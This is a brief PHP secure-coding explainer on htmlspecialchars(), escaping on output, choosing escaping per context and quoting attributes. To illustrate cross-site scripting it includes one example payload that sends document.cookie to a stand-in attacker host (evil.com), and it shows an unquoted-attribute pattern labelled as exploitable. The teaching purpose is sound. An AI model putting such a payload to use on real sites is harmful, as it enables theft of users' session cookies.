What does htmlspecialchars() do and when do I need it?
htmlspecialchars() converts <, >, ", ' and & into HTML entities so the browser displays them instead of interpreting them as markup. Apply it on output, every time.
Without it, a user who types this into a name field:
<script>fetch('//evil.com?c='+document.cookie)</script>…gets that script executed in the browser of everyone who views the page. That is cross-site scripting, and it is one of the most common vulnerabilities on the web.
#Use it like this
function e(string $value): string {
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
echo '<p>Hello, ' . e($name) . '</p>';ENT_QUOTES also escapes single quotes, which matters when the value lands inside a single-quoted attribute. 'UTF-8' avoids a mangled result on non-ASCII input.
Defining a one-letter helper is not laziness — it is what keeps you from skipping it in a template.
#Escape on output, not on input
Store exactly what the user typed. Escape it each time you print it.
Escaping on input leaves you with mangled data in the database, no way to know which rows were already processed, and the wrong escaping entirely if you later render that data as JSON or plain text.
#It is context-specific
htmlspecialchars makes a value safe for HTML. It does nothing for other destinations:
| Destination | Tool |
|---|---|
| HTML body or attribute | htmlspecialchars |
Inside a <script> block | json_encode |
| A URL parameter | urlencode |
| A SQL query | Prepared statements |
| A shell command | escapeshellarg |
#Attributes need quotes
<input value="<?= e($name) ?>"> <!-- safe -->
<input value=<?= e($name) ?>> <!-- unquoted: still exploitable -->An unquoted attribute can be escaped with a space, no angle brackets required.